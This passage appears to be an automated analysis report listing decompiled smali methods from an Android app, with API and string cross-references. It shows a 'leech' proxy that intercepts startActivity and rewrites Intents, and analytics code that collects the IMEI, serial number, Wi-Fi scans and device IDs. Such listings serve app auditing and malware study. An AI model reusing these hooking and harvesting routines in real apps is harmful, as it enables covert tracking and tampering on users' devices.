                                                                              • java.net.HttpURLConnection.getInputStream
                                                                              • android.graphics.BitmapFactory.decodeStream
                                                                              • java.io.InputStream.close
                                                                              Position Instruction Meta Information
                                                                              0.param p0, "url" # Ljava/lang/String;
                                                                              1.prologue
                                                                              2const/4 v5, 0x0
                                                                              3try_start_1: new-instance v3, Ljava/net/URL;
                                                                              5invoke-direct {v3, p0}, Ljava/net/URL;-><init>(Ljava/lang/String;)V
                                                                              6try_start_6:
                                                                              7invoke-virtual {v3}, Ljava/net/URL;->openConnection()Ljava/net/URLConnection;
                                                                              8move-result-object v1
                                                                              9check-cast v1, Ljava/net/HttpURLConnection;
                                                                              10const/4 v6, 0x1
                                                                              12invoke-virtual {v1, v6}, Ljava/net/HttpURLConnection;->setDoInput(Z)V
                                                                              14invoke-virtual {v1}, Ljava/net/HttpURLConnection;->connect()V
                                                                              16invoke-virtual {v1}, Ljava/net/HttpURLConnection;->getInputStream()Ljava/io/InputStream;
                                                                              17move-result-object v4
                                                                              19invoke-static {v4}, Landroid/graphics/BitmapFactory;->decodeStream(Ljava/io/InputStream;)Landroid/graphics/Bitmap;
                                                                              20move-result-object v0
                                                                              22invoke-virtual {v4}, Ljava/io/InputStream;->close()V
                                                                              23goto_1e: return-object v0
                                                                              24catch_1f: move-exception v2
                                                                              25move-object v0, v5
                                                                              26goto/16 :goto_1e
                                                                              27catch_22: move-exception v2
                                                                              28move-object v0, v5
                                                                              29goto/16 :goto_1e
                                                                              Cross References
                                                                              APIs
                                                                              • java.net.URL.<init>
                                                                              • java.net.URL.openConnection
                                                                              • java.net.HttpURLConnection.setDoInput
                                                                              • java.net.HttpURLConnection.connect
                                                                              • java.net.HttpURLConnection.getInputStream
                                                                              • android.graphics.BitmapFactory.decodeStream
                                                                              • java.io.InputStream.close
                                                                              Position Instruction Meta Information
                                                                              0.param p0, "url" # Ljava/lang/String;
                                                                              1.prologue
                                                                              2const/4 v5, 0x0
                                                                              3try_start_1: new-instance v3, Ljava/net/URL;
                                                                              5invoke-direct {v3, p0}, Ljava/net/URL;-><init>(Ljava/lang/String;)V
                                                                              6try_start_6:
                                                                              7invoke-virtual {v3}, Ljava/net/URL;->openConnection()Ljava/net/URLConnection;
                                                                              8move-result-object v1
                                                                              9check-cast v1, Ljava/net/HttpURLConnection;
                                                                              10const/4 v6, 0x1
                                                                              12invoke-virtual {v1, v6}, Ljava/net/HttpURLConnection;->setDoInput(Z)V
                                                                              14invoke-virtual {v1}, Ljava/net/HttpURLConnection;->connect()V
                                                                              16invoke-virtual {v1}, Ljava/net/HttpURLConnection;->getInputStream()Ljava/io/InputStream;
                                                                              17move-result-object v4
                                                                              19invoke-static {v4}, Landroid/graphics/BitmapFactory;->decodeStream(Ljava/io/InputStream;)Landroid/graphics/Bitmap;
                                                                              20move-result-object v0
                                                                              22invoke-virtual {v4}, Ljava/io/InputStream;->close()V
                                                                              23goto_1e: return-object v0
                                                                              24catch_1f: move-exception v2
                                                                              25move-object v0, v5
                                                                              26goto/16 :goto_1e
                                                                              27catch_22: move-exception v2
                                                                              28move-object v0, v5
                                                                              29goto/16 :goto_1e
                                                                              APIs
                                                                              • java.lang.reflect.Method.getName
                                                                              • java.lang.String.equals
                                                                              • java.lang.reflect.Method.invoke
                                                                              • java.lang.reflect.InvocationTargetException.getCause
                                                                              Strings
                                                                              • startActivity
                                                                              Position Instruction Meta Information
                                                                              0.param p1, "proxy" # Ljava/lang/Object;
                                                                              1.param p2, "method" # Ljava/lang/reflect/Method;
                                                                              2.param p3, "args" # [Ljava/lang/Object;
                                                                              3.annotation system Ldalvik/annotation/Throws;
                                                                              4value = {
                                                                              5Ljava/lang/Throwable;
                                                                              6}
                                                                              7.end annotation
                                                                              8.prologue
                                                                              10const-string v5, "startActivity"
                                                                              12invoke-virtual {p2}, Ljava/lang/reflect/Method;->getName()Ljava/lang/String;
                                                                              13move-result-object v6
                                                                              15invoke-virtual {v5, v6}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                                                                              16move-result v5
                                                                              17if-eqz v5, :cond_2a
                                                                              18const/4 v2, 0x0
                                                                              19const/4 v1, 0x0
                                                                              20goto_e: array-length v5, p3
                                                                              21if-ge v1, v5, :cond_18
                                                                              22aget-object v5, p3, v1
                                                                              23instance-of v5, v5, Landroid/content/Intent;
                                                                              24if-eqz v5, :cond_31
                                                                              25move v2, v1
                                                                              26cond_18: aget-object v4, p3, v2
                                                                              27check-cast v4, Landroid/content/Intent;
                                                                              28const/4 v3, 0x0
                                                                              29if-eqz v4, :cond_23
                                                                              31invoke-direct {p0, v4}, Lcom/android/leech/base/hook/proxy/IActivityManagerHandler;->needHook(Landroid/content/Intent;)Landroid/content/Intent;
                                                                              32move-result-object v3
                                                                              33cond_23: if-eqz v3, :cond_2a
                                                                              34aput-object v3, p3, v2
                                                                              35const/4 v5, 0x1
                                                                              36sput-boolean v5, Lcom/android/leech/base/hook/proxy/ActivityThreadHandlerCallback;->hook:Z
                                                                              37try_start_2a:
                                                                              38iget-object v5, p0, Lcom/android/leech/base/hook/proxy/IActivityManagerHandler;->mBaseObj:Ljava/lang/Object;
                                                                              40invoke-virtual {p2, v5, p3}, Ljava/lang/reflect/Method;->invoke(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;
                                                                              41try_end_2f: move-result-object v5
                                                                              42return-object v5
                                                                              43cond_31: add-int/lit8 v1, v1, 0x1
                                                                              44goto/16 :goto_e
                                                                              45catch_34: move-exception v0
                                                                              47invoke-virtual {v0}, Ljava/lang/reflect/InvocationTargetException;->getCause()Ljava/lang/Throwable;
                                                                              48move-result-object v5
                                                                              49throw v5
                                                                              Cross References
                                                                              APIs
                                                                              • android.content.Context.getSystemService
                                                                              • android.net.wifi.WifiManager.getScanResults
                                                                              • java.util.List.size
                                                                              Strings
                                                                              • wifi
                                                                              • android.permission.ACCESS_WIFI_STATE
                                                                              Position Instruction Meta Information
                                                                              0.annotation system Ldalvik/annotation/Signature;
                                                                              1value = {
                                                                              2"(",
                                                                              3"Landroid/content/Context;",
                                                                              4")",
                                                                              5"Ljava/util/List",
                                                                              6"<",
                                                                              7"Landroid/net/wifi/ScanResult;",
                                                                              8">;"
                                                                              9}
                                                                              10.end annotation
                                                                              11const/4 v1, 0x0
                                                                              12if-nez p0, :cond_5
                                                                              13cond_3: move-object v0, v1
                                                                              14goto_4: return-object v0
                                                                              15cond_5:
                                                                              16const-string v0, "wifi"
                                                                              18invoke-virtual {p0, v0}, Landroid/content/Context;->getSystemService(Ljava/lang/String;)Ljava/lang/Object;
                                                                              19move-result-object v0
                                                                              20check-cast v0, Landroid/net/wifi/WifiManager;
                                                                              21if-eqz v0, :cond_3
                                                                              23const-string v2, "android.permission.ACCESS_WIFI_STATE"
                                                                              25invoke-static {p0, v2}, LuAgent/commonsdk/statistics/common/DeviceConfig;->checkPermission(Landroid/content/Context;Ljava/lang/String;)Z
                                                                              26move-result v2
                                                                              27if-eqz v2, :cond_24
                                                                              29invoke-virtual {v0}, Landroid/net/wifi/WifiManager;->getScanResults()Ljava/util/List;
                                                                              30move-result-object v0
                                                                              31if-eqz v0, :cond_4
                                                                              33invoke-interface {v0}, Ljava/util/List;->size()I
                                                                              34move-result v1
                                                                              35if-nez v1, :cond_4
                                                                              36goto/16 :goto_4
                                                                              37cond_24: move-object v0, v1
                                                                              38goto/16 :goto_4
                                                                              Cross References
                                                                              APIs
                                                                              • java.lang.Class.forName
                                                                              • java.lang.Class.getMethod
                                                                              • java.lang.reflect.Method.invoke
                                                                              Strings
                                                                              • com.umeng.analytics.vismode.event.VisualHelper
                                                                              • processCommond
                                                                              Position Instruction Meta Information
                                                                              0try_start_0:
                                                                              1const-string v0, "com.umeng.analytics.vismode.event.VisualHelper"
                                                                              3invoke-static {v0}, Ljava/lang/Class;->forName(Ljava/lang/String;)Ljava/lang/Class;
                                                                              4move-result-object v0
                                                                              6const-string v1, "processCommond"
                                                                              7const/4 v2, 0x2
                                                                              8new-array v2, v2, [Ljava/lang/Class;
                                                                              9const/4 v3, 0x0
                                                                              10const-class v4, Landroid/content/Context;
                                                                              11aput-object v4, v2, v3
                                                                              12const/4 v3, 0x1
                                                                              13const-class v4, Ljava/lang/String;
                                                                              14aput-object v4, v2, v3
                                                                              16invoke-virtual {v0, v1, v2}, Ljava/lang/Class;->getMethod(Ljava/lang/String;[Ljava/lang/Class;)Ljava/lang/reflect/Method;
                                                                              17move-result-object v0
                                                                              18const/4 v1, 0x0
                                                                              19const/4 v2, 0x2
                                                                              20new-array v2, v2, [Ljava/lang/Object;
                                                                              21const/4 v3, 0x0
                                                                              23sget-object v4, LuAgent/analytics/pro/i;->a:Landroid/content/Context;
                                                                              24aput-object v4, v2, v3
                                                                              25const/4 v3, 0x1
                                                                              27sget-object v4, LuAgent/analytics/pro/i;->a:Landroid/content/Context;
                                                                              29invoke-static {v4}, LuAgent/analytics/AnalyticsConfig;->getAppkey(Landroid/content/Context;)Ljava/lang/String;
                                                                              30move-result-object v4
                                                                              31aput-object v4, v2, v3
                                                                              33invoke-virtual {v0, v1, v2}, Ljava/lang/reflect/Method;->invoke(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;
                                                                              34try_end_2e: return-void
                                                                              35catch_2f: move-exception v0
                                                                              36goto/16 :goto_2e
                                                                              APIs
                                                                              • java.lang.Class.forName
                                                                              • java.lang.Class.getMethod
                                                                              • java.lang.reflect.Method.invoke
                                                                              Strings
                                                                              • com.umeng.commonsdk.internal.utils.SDStorageAgent
                                                                              • getUmtt5
                                                                              Position Instruction Meta Information
                                                                              0const/4 v1, 0x0
                                                                              1try_start_1:
                                                                              2const-string v0, "com.umeng.commonsdk.internal.utils.SDStorageAgent"
                                                                              4invoke-static {v0}, Ljava/lang/Class;->forName(Ljava/lang/String;)Ljava/lang/Class;
                                                                              5move-result-object v0
                                                                              6if-eqz v0, :cond_27
                                                                              8const-string v2, "getUmtt5"
                                                                              9const/4 v3, 0x1
                                                                              10new-array v3, v3, [Ljava/lang/Class;
                                                                              11const/4 v4, 0x0
                                                                              12const-class v5, Landroid/content/Context;
                                                                              13aput-object v5, v3, v4
                                                                              15invoke-virtual {v0, v2, v3}, Ljava/lang/Class;->getMethod(Ljava/lang/String;[Ljava/lang/Class;)Ljava/lang/reflect/Method;
                                                                              16move-result-object v2
                                                                              17const/4 v3, 0x1
                                                                              18new-array v3, v3, [Ljava/lang/Object;
                                                                              19const/4 v4, 0x0
                                                                              21iget-object v5, p0, LuAgent/commonsdk/statistics/idtracking/k;->b:Landroid/content/Context;
                                                                              22aput-object v5, v3, v4
                                                                              24invoke-virtual {v2, v0, v3}, Ljava/lang/reflect/Method;->invoke(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;
                                                                              25move-result-object v0
                                                                              26check-cast v0, Ljava/lang/String;
                                                                              27try_end_25: move-object v1, v0
                                                                              28goto_26: return-object v1
                                                                              29cond_27: move-object v0, v1
                                                                              30goto/16 :goto_25
                                                                              31catch_29: move-exception v0
                                                                              32goto/16 :goto_26
                                                                              33catch_2b: move-exception v0
                                                                              34goto/16 :goto_26
                                                                              APIs
                                                                              • java.lang.Class.forName
                                                                              • java.lang.Class.getMethod
                                                                              • java.lang.reflect.Method.invoke
                                                                              Strings
                                                                              • com.umeng.commonsdk.internal.utils.SDStorageAgent
                                                                              • getUmtt4
                                                                              Position Instruction Meta Information
                                                                              0const/4 v1, 0x0
                                                                              1try_start_1:
                                                                              2const-string v0, "com.umeng.commonsdk.internal.utils.SDStorageAgent"
                                                                              4invoke-static {v0}, Ljava/lang/Class;->forName(Ljava/lang/String;)Ljava/lang/Class;
                                                                              5move-result-object v0
                                                                              6if-eqz v0, :cond_27
                                                                              8const-string v2, "getUmtt4"
                                                                              9const/4 v3, 0x1
                                                                              10new-array v3, v3, [Ljava/lang/Class;
                                                                              11const/4 v4, 0x0
                                                                              12const-class v5, Landroid/content/Context;
                                                                              13aput-object v5, v3, v4
                                                                              15invoke-virtual {v0, v2, v3}, Ljava/lang/Class;->getMethod(Ljava/lang/String;[Ljava/lang/Class;)Ljava/lang/reflect/Method;
                                                                              16move-result-object v2
                                                                              17const/4 v3, 0x1
                                                                              18new-array v3, v3, [Ljava/lang/Object;
                                                                              19const/4 v4, 0x0
                                                                              21iget-object v5, p0, LuAgent/commonsdk/statistics/idtracking/l;->b:Landroid/content/Context;
                                                                              22aput-object v5, v3, v4
                                                                              24invoke-virtual {v2, v0, v3}, Ljava/lang/reflect/Method;->invoke(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;
                                                                              25move-result-object v0
                                                                              26check-cast v0, Ljava/lang/String;
                                                                              27try_end_25: move-object v1, v0
                                                                              28goto_26: return-object v1
                                                                              29cond_27: move-object v0, v1
                                                                              30goto/16 :goto_25
                                                                              31catch_29: move-exception v0
                                                                              32goto/16 :goto_26
                                                                              33catch_2b: move-exception v0
                                                                              34goto/16 :goto_26
                                                                              APIs
                                                                              • java.lang.Class.forName
                                                                              • java.lang.Class.getMethod
                                                                              • java.lang.reflect.Method.invoke
                                                                              Strings
                                                                              • com.umeng.commonsdk.internal.utils.SDStorageAgent
                                                                              • getUmtt1
                                                                              Position Instruction Meta Information
                                                                              0const/4 v1, 0x0
                                                                              1try_start_1:
                                                                              2const-string v0, "com.umeng.commonsdk.internal.utils.SDStorageAgent"
                                                                              4invoke-static {v0}, Ljava/lang/Class;->forName(Ljava/lang/String;)Ljava/lang/Class;
                                                                              5move-result-object v0
                                                                              6if-eqz v0, :cond_27
                                                                              8const-string v2, "getUmtt1"
                                                                              9const/4 v3, 0x1
                                                                              10new-array v3, v3, [Ljava/lang/Class;
                                                                              11const/4 v4, 0x0
                                                                              12const-class v5, Landroid/content/Context;
                                                                              13aput-object v5, v3, v4
                                                                              15invoke-virtual {v0, v2, v3}, Ljava/lang/Class;->getMethod(Ljava/lang/String;[Ljava/lang/Class;)Ljava/lang/reflect/Method;
                                                                              16move-result-object v2
                                                                              17const/4 v3, 0x1
                                                                              18new-array v3, v3, [Ljava/lang/Object;
                                                                              19const/4 v4, 0x0
                                                                              21iget-object v5, p0, LuAgent/commonsdk/statistics/idtracking/m;->b:Landroid/content/Context;
                                                                              22aput-object v5, v3, v4
                                                                              24invoke-virtual {v2, v0, v3}, Ljava/lang/reflect/Method;->invoke(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;
                                                                              25move-result-object v0
                                                                              26check-cast v0, Ljava/lang/String;
                                                                              27try_end_25: move-object v1, v0
                                                                              28goto_26: return-object v1
                                                                              29cond_27: move-object v0, v1
                                                                              30goto/16 :goto_25
                                                                              31catch_29: move-exception v0
                                                                              32goto/16 :goto_26
                                                                              33catch_2b: move-exception v0
                                                                              34goto/16 :goto_26
                                                                              APIs
                                                                              • java.lang.Class.forName
                                                                              • java.lang.Class.getMethod
                                                                              • java.lang.reflect.Method.invoke
                                                                              Strings
                                                                              • com.umeng.commonsdk.internal.utils.SDStorageAgent
                                                                              • getUmtt3
                                                                              Position Instruction Meta Information
                                                                              0const/4 v1, 0x0
                                                                              1try_start_1:
                                                                              2const-string v0, "com.umeng.commonsdk.internal.utils.SDStorageAgent"
                                                                              4invoke-static {v0}, Ljava/lang/Class;->forName(Ljava/lang/String;)Ljava/lang/Class;
                                                                              5move-result-object v0
                                                                              6if-eqz v0, :cond_27
                                                                              8const-string v2, "getUmtt3"
                                                                              9const/4 v3, 0x1
                                                                              10new-array v3, v3, [Ljava/lang/Class;
                                                                              11const/4 v4, 0x0
                                                                              12const-class v5, Landroid/content/Context;
                                                                              13aput-object v5, v3, v4
                                                                              15invoke-virtual {v0, v2, v3}, Ljava/lang/Class;->getMethod(Ljava/lang/String;[Ljava/lang/Class;)Ljava/lang/reflect/Method;
                                                                              16move-result-object v2
                                                                              17const/4 v3, 0x1
                                                                              18new-array v3, v3, [Ljava/lang/Object;
                                                                              19const/4 v4, 0x0
                                                                              21iget-object v5, p0, LuAgent/commonsdk/statistics/idtracking/n;->b:Landroid/content/Context;
                                                                              22aput-object v5, v3, v4
                                                                              24invoke-virtual {v2, v0, v3}, Ljava/lang/reflect/Method;->invoke(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;
                                                                              25move-result-object v0
                                                                              26check-cast v0, Ljava/lang/String;
                                                                              27try_end_25: move-object v1, v0
                                                                              28goto_26: return-object v1
                                                                              29cond_27: move-object v0, v1
                                                                              30goto/16 :goto_25
                                                                              31catch_29: move-exception v0
                                                                              32goto/16 :goto_26
                                                                              33catch_2b: move-exception v0
                                                                              34goto/16 :goto_26
                                                                              APIs
                                                                              • java.lang.Class.forName
                                                                              • java.lang.Class.getMethod
                                                                              • java.lang.reflect.Method.invoke
                                                                              Strings
                                                                              • com.umeng.commonsdk.internal.utils.SDStorageAgent
                                                                              • getUmtt2
                                                                              Position Instruction Meta Information
                                                                              0const/4 v1, 0x0
                                                                              1try_start_1:
                                                                              2const-string v0, "com.umeng.commonsdk.internal.utils.SDStorageAgent"
                                                                              4invoke-static {v0}, Ljava/lang/Class;->forName(Ljava/lang/String;)Ljava/lang/Class;
                                                                              5move-result-object v0
                                                                              6if-eqz v0, :cond_27
                                                                              8const-string v2, "getUmtt2"
                                                                              9const/4 v3, 0x1
                                                                              10new-array v3, v3, [Ljava/lang/Class;
                                                                              11const/4 v4, 0x0
                                                                              12const-class v5, Landroid/content/Context;
                                                                              13aput-object v5, v3, v4
                                                                              15invoke-virtual {v0, v2, v3}, Ljava/lang/Class;->getMethod(Ljava/lang/String;[Ljava/lang/Class;)Ljava/lang/reflect/Method;
                                                                              16move-result-object v2
                                                                              17const/4 v3, 0x1
                                                                              18new-array v3, v3, [Ljava/lang/Object;
                                                                              19const/4 v4, 0x0
                                                                              21iget-object v5, p0, LuAgent/commonsdk/statistics/idtracking/o;->b:Landroid/content/Context;
                                                                              22aput-object v5, v3, v4
                                                                              24invoke-virtual {v2, v0, v3}, Ljava/lang/reflect/Method;->invoke(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;
                                                                              25move-result-object v0
                                                                              26check-cast v0, Ljava/lang/String;
                                                                              27try_end_25: move-object v1, v0
                                                                              28goto_26: return-object v1
                                                                              29cond_27: move-object v0, v1
                                                                              30goto/16 :goto_25
                                                                              31catch_29: move-exception v0
                                                                              32goto/16 :goto_26
                                                                              33catch_2b: move-exception v0
                                                                              34goto/16 :goto_26
                                                                              APIs
                                                                              • java.lang.Class.forName
                                                                              • java.lang.Class.getMethod
                                                                              • java.lang.reflect.Method.invoke
                                                                              Strings
                                                                              • com.umeng.commonsdk.internal.utils.SDStorageAgent
                                                                              • getUmtt0
                                                                              Position Instruction Meta Information
                                                                              0const/4 v1, 0x0
                                                                              1try_start_1:
                                                                              2const-string v0, "com.umeng.commonsdk.internal.utils.SDStorageAgent"
                                                                              4invoke-static {v0}, Ljava/lang/Class;->forName(Ljava/lang/String;)Ljava/lang/Class;
                                                                              5move-result-object v0
                                                                              6if-eqz v0, :cond_27
                                                                              8const-string v2, "getUmtt0"
                                                                              9const/4 v3, 0x1
                                                                              10new-array v3, v3, [Ljava/lang/Class;
                                                                              11const/4 v4, 0x0
                                                                              12const-class v5, Landroid/content/Context;
                                                                              13aput-object v5, v3, v4
                                                                              15invoke-virtual {v0, v2, v3}, Ljava/lang/Class;->getMethod(Ljava/lang/String;[Ljava/lang/Class;)Ljava/lang/reflect/Method;
                                                                              16move-result-object v2
                                                                              17const/4 v3, 0x1
                                                                              18new-array v3, v3, [Ljava/lang/Object;
                                                                              19const/4 v4, 0x0
                                                                              21iget-object v5, p0, LuAgent/commonsdk/statistics/idtracking/p;->b:Landroid/content/Context;
                                                                              22aput-object v5, v3, v4
                                                                              24invoke-virtual {v2, v0, v3}, Ljava/lang/reflect/Method;->invoke(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;
                                                                              25move-result-object v0
                                                                              26check-cast v0, Ljava/lang/String;
                                                                              27try_end_25: move-object v1, v0
                                                                              28goto_26: return-object v1
                                                                              29cond_27: move-object v0, v1
                                                                              30goto/16 :goto_25
                                                                              31catch_29: move-exception v0
                                                                              32goto/16 :goto_26
                                                                              33catch_2b: move-exception v0
                                                                              34goto/16 :goto_26
                                                                              Cross References
                                                                              APIs
                                                                              • java.lang.Class.forName
                                                                              • java.lang.Class.getMethod
                                                                              • java.lang.reflect.Method.invoke
                                                                              • android.os.Build.SERIAL:Ljava/lang/String
                                                                              Strings
                                                                              • android.os.Build
                                                                              • getSerial
                                                                              Position Instruction Meta Information
                                                                              0const/4 v1, 0x0
                                                                              1sget v0, Landroid/os/Build$VERSION;->SDK_INT:I
                                                                              2const/16 v2, 0x9
                                                                              3if-lt v0, v2, :cond_2c
                                                                              4sget v0, Landroid/os/Build$VERSION;->SDK_INT:I
                                                                              5const/16 v2, 0x1a
                                                                              6if-lt v0, v2, :cond_29
                                                                              7try_start_d:
                                                                              8const-string v0, "android.os.Build"
                                                                              10invoke-static {v0}, Ljava/lang/Class;->forName(Ljava/lang/String;)Ljava/lang/Class;
                                                                              11move-result-object v0
                                                                              13const-string v2, "getSerial"
                                                                              14const/4 v3, 0x0
                                                                              15new-array v3, v3, [Ljava/lang/Class;
                                                                              17invoke-virtual {v0, v2, v3}, Ljava/lang/Class;->getMethod(Ljava/lang/String;[Ljava/lang/Class;)Ljava/lang/reflect/Method;
                                                                              18move-result-object v2
                                                                              19const/4 v3, 0x0
                                                                              20new-array v3, v3, [Ljava/lang/Object;
                                                                              22invoke-virtual {v2, v0, v3}, Ljava/lang/reflect/Method;->invoke(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;
                                                                              23move-result-object v0
                                                                              24check-cast v0, Ljava/lang/String;
                                                                              25try_end_25: return-object v0
                                                                              26catch_26: move-exception v0
                                                                              27move-object v0, v1
                                                                              28goto/16 :goto_25
                                                                              29cond_29:
                                                                              30sget-object v0, Landroid/os/Build;->SERIAL:Ljava/lang/String;
                                                                              31goto/16 :goto_25
                                                                              32cond_2c: move-object v0, v1
                                                                              33goto/16 :goto_25
                                                                              Cross References
                                                                              APIs
                                                                              • java.lang.Class.forName
                                                                              • java.lang.Class.getMethod
                                                                              • java.lang.reflect.Method.invoke
                                                                              Strings
                                                                              • android.os.SystemProperties
                                                                              • get
                                                                              Position Instruction Meta Information
                                                                              0try_start_0:
                                                                              1const-string v0, "android.os.SystemProperties"
                                                                              3invoke-static {v0}, Ljava/lang/Class;->forName(Ljava/lang/String;)Ljava/lang/Class;
                                                                              4move-result-object v0
                                                                              6const-string v1, "get"
                                                                              7const/4 v2, 0x2
                                                                              8new-array v2, v2, [Ljava/lang/Class;
                                                                              9const/4 v3, 0x0
                                                                              10const-class v4, Ljava/lang/String;
                                                                              11aput-object v4, v2, v3
                                                                              12const/4 v3, 0x1
                                                                              13const-class v4, Ljava/lang/String;
                                                                              14aput-object v4, v2, v3
                                                                              16invoke-virtual {v0, v1, v2}, Ljava/lang/Class;->getMethod(Ljava/lang/String;[Ljava/lang/Class;)Ljava/lang/reflect/Method;
                                                                              17move-result-object v0
                                                                              18const/4 v1, 0x0
                                                                              19const/4 v2, 0x2
                                                                              20new-array v2, v2, [Ljava/lang/Object;
                                                                              21const/4 v3, 0x0
                                                                              22aput-object p0, v2, v3
                                                                              23const/4 v3, 0x1
                                                                              24aput-object p1, v2, v3
                                                                              26invoke-virtual {v0, v1, v2}, Ljava/lang/reflect/Method;->invoke(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;
                                                                              27move-result-object v0
                                                                              28check-cast v0, Ljava/lang/String;
                                                                              29try_end_29: return-object v0
                                                                              30catch_2a: move-exception v0
                                                                              31move-object v0, p1
                                                                              32goto/16 :goto_29
                                                                              APIs
                                                                              • android.content.Context.getSystemService
                                                                              • android.telephony.TelephonyManager.getDeviceId
                                                                              Strings
                                                                              • phone
                                                                              • android.permission.READ_PHONE_STATE
                                                                              • No IMEI.
                                                                              Position Instruction Meta Information
                                                                              0const/4 v1, 0x0
                                                                              1if-eqz p0, :cond_26
                                                                              2try_start_3:
                                                                              3const-string v0, "phone"
                                                                              5invoke-virtual {p0, v0}, Landroid/content/Context;->getSystemService(Ljava/lang/String;)Ljava/lang/Object;
                                                                              6move-result-object v0
                                                                              7check-cast v0, Landroid/telephony/TelephonyManager;
                                                                              8if-eqz v0, :cond_26
                                                                              10const-string v2, "android.permission.READ_PHONE_STATE"
                                                                              12invoke-static {p0, v2}, LuAgent/commonsdk/statistics/common/DeviceConfig;->checkPermission(Landroid/content/Context;Ljava/lang/String;)Z
                                                                              13move-result v2
                                                                              14if-eqz v2, :cond_26
                                                                              16invoke-virtual {v0}, Landroid/telephony/TelephonyManager;->getDeviceId()Ljava/lang/String;
                                                                              17try_end_18: move-result-object v0
                                                                              18goto_19: move-object v1, v0
                                                                              19goto_1a: return-object v1
                                                                              20catch_1b: move-exception v0
                                                                              21sget-boolean v2, LuAgent/commonsdk/statistics/AnalyticsConstants;->UM_DEBUG:Z
                                                                              22if-eqz v2, :cond_28
                                                                              24const-string v2, "No IMEI."
                                                                              26invoke-static {v2, v0}, LuAgent/commonsdk/statistics/common/MLog;->w(Ljava/lang/String;Ljava/lang/Throwable;)V
                                                                              27goto/16 :goto_1a
                                                                              28cond_26: move-object v0, v1
                                                                              29goto/16 :goto_19
                                                                              30cond_28: move-object v0, v1
                                                                              31goto/16 :goto_19
                                                                              APIs
                                                                              • java.lang.Class.forName
                                                                              • java.lang.Class.getMethod
                                                                              • java.lang.reflect.Method.invoke
                                                                              Strings
                                                                              • com.ut.device.UTDevice
                                                                              • getUtdid
                                                                              Position Instruction Meta Information
                                                                              0try_start_0:
                                                                              1const-string v0, "com.ut.device.UTDevice"
                                                                              3invoke-static {v0}, Ljava/lang/Class;->forName(Ljava/lang/String;)Ljava/lang/Class;
                                                                              4move-result-object v0
                                                                              6const-string v1, "getUtdid"
                                                                              7const/4 v2, 0x1
                                                                              8new-array v2, v2, [Ljava/lang/Class;
                                                                              9const/4 v3, 0x0
                                                                              10const-class v4, Landroid/content/Context;
                                                                              11aput-object v4, v2, v3
                                                                              13invoke-virtual {v0, v1, v2}, Ljava/lang/Class;->getMethod(Ljava/lang/String;[Ljava/lang/Class;)Ljava/lang/reflect/Method;
                                                                              14move-result-object v0
                                                                              15const/4 v1, 0x0
                                                                              16const/4 v2, 0x1
                                                                              17new-array v2, v2, [Ljava/lang/Object;
                                                                              18const/4 v3, 0x0
                                                                              20iget-object v4, p0, LuAgent/commonsdk/statistics/idtracking/r;->d:Landroid/content/Context;
                                                                              21aput-object v4, v2, v3
                                                                              23invoke-virtual {v0, v1, v2}, Ljava/lang/reflect/Method;->invoke(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;
                                                                              24move-result-object v0
                                                                              25check-cast v0, Ljava/lang/String;
                                                                              26goto_23: return-object v0
                                                                              27catch_24: move-exception v0
                                                                              29invoke-direct {p0}, LuAgent/commonsdk/statistics/idtracking/r;->g()Ljava/lang/String;
                                                                              30move-result-object v0
                                                                              31goto/16 :goto_23
                                                                              APIs
                                                                              • java.lang.Class.forName
                                                                              • java.lang.Class.getMethod
                                                                              • java.lang.reflect.Method.invoke
                                                                              Strings
                                                                              • com.umeng.commonsdk.internal.oplus.UMUdpSenderAgent
                                                                              • DoSendUdpGroupMsg
                                                                              Position Instruction Meta Information
                                                                              0try_start_0:
                                                                              1const-string v0, "com.umeng.commonsdk.internal.oplus.UMUdpSenderAgent"
                                                                              3invoke-static {v0}, Ljava/lang/Class;->forName(Ljava/lang/String;)Ljava/lang/Class;
                                                                              4move-result-object v0
                                                                              5if-eqz v0, :cond_21
                                                                              7const-string v1, "DoSendUdpGroupMsg"
                                                                              8const/4 v2, 0x1
                                                                              9new-array v2, v2, [Ljava/lang/Class;
                                                                              10const/4 v3, 0x0
                                                                              11const-class v4, Landroid/content/Context;
                                                                              12aput-object v4, v2, v3
                                                                              14invoke-virtual {v0, v1, v2}, Ljava/lang/Class;->getMethod(Ljava/lang/String;[Ljava/lang/Class;)Ljava/lang/reflect/Method;
                                                                              15move-result-object v1
                                                                              16const/4 v2, 0x1
                                                                              17new-array v2, v2, [Ljava/lang/Object;
                                                                              18const/4 v3, 0x0
                                                                              20iget-object v4, p0, LuAgent/commonsdk/framework/c$1$2;->a:Landroid/content/Context;
                                                                              21aput-object v4, v2, v3
                                                                              23invoke-virtual {v1, v0, v2}, Ljava/lang/reflect/Method;->invoke(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;
                                                                              24goto_21: return-void
                                                                              25catch_22: move-exception v0
                                                                              26goto/16 :goto_21
                                                                              27catch_24: move-exception v0
                                                                              28goto/16 :goto_21
                                                                              APIs
                                                                              • android.content.Context.getSystemService
                                                                              • android.net.ConnectivityManager.getActiveNetworkInfo
                                                                              • android.net.NetworkInfo.isConnectedOrConnecting
                                                                              Strings
                                                                              • android.permission.ACCESS_NETWORK_STATE
                                                                              • connectivity
                                                                              Position Instruction Meta Information
                                                                              0const/4 v1, 0x0
                                                                              1if-nez p0, :cond_5
                                                                              2move v0, v1
                                                                              3goto_4: return v0
                                                                              4try_start_5:
                                                                              5const-string v0, "android.permission.ACCESS_NETWORK_STATE"
                                                                              7invoke-static {p0, v0}, LuAgent/commonsdk/statistics/common/DeviceConfig;->checkPermission(Landroid/content/Context;Ljava/lang/String;)Z
                                                                              8move-result v0
                                                                              9if-eqz v0, :cond_23
                                                                              11const-string v0, "connectivity"
                                                                              13invoke-virtual {p0, v0}, Landroid/content/Context;->getSystemService(Ljava/lang/String;)Ljava/lang/Object;
                                                                              14move-result-object v0
                                                                              15check-cast v0, Landroid/net/ConnectivityManager;
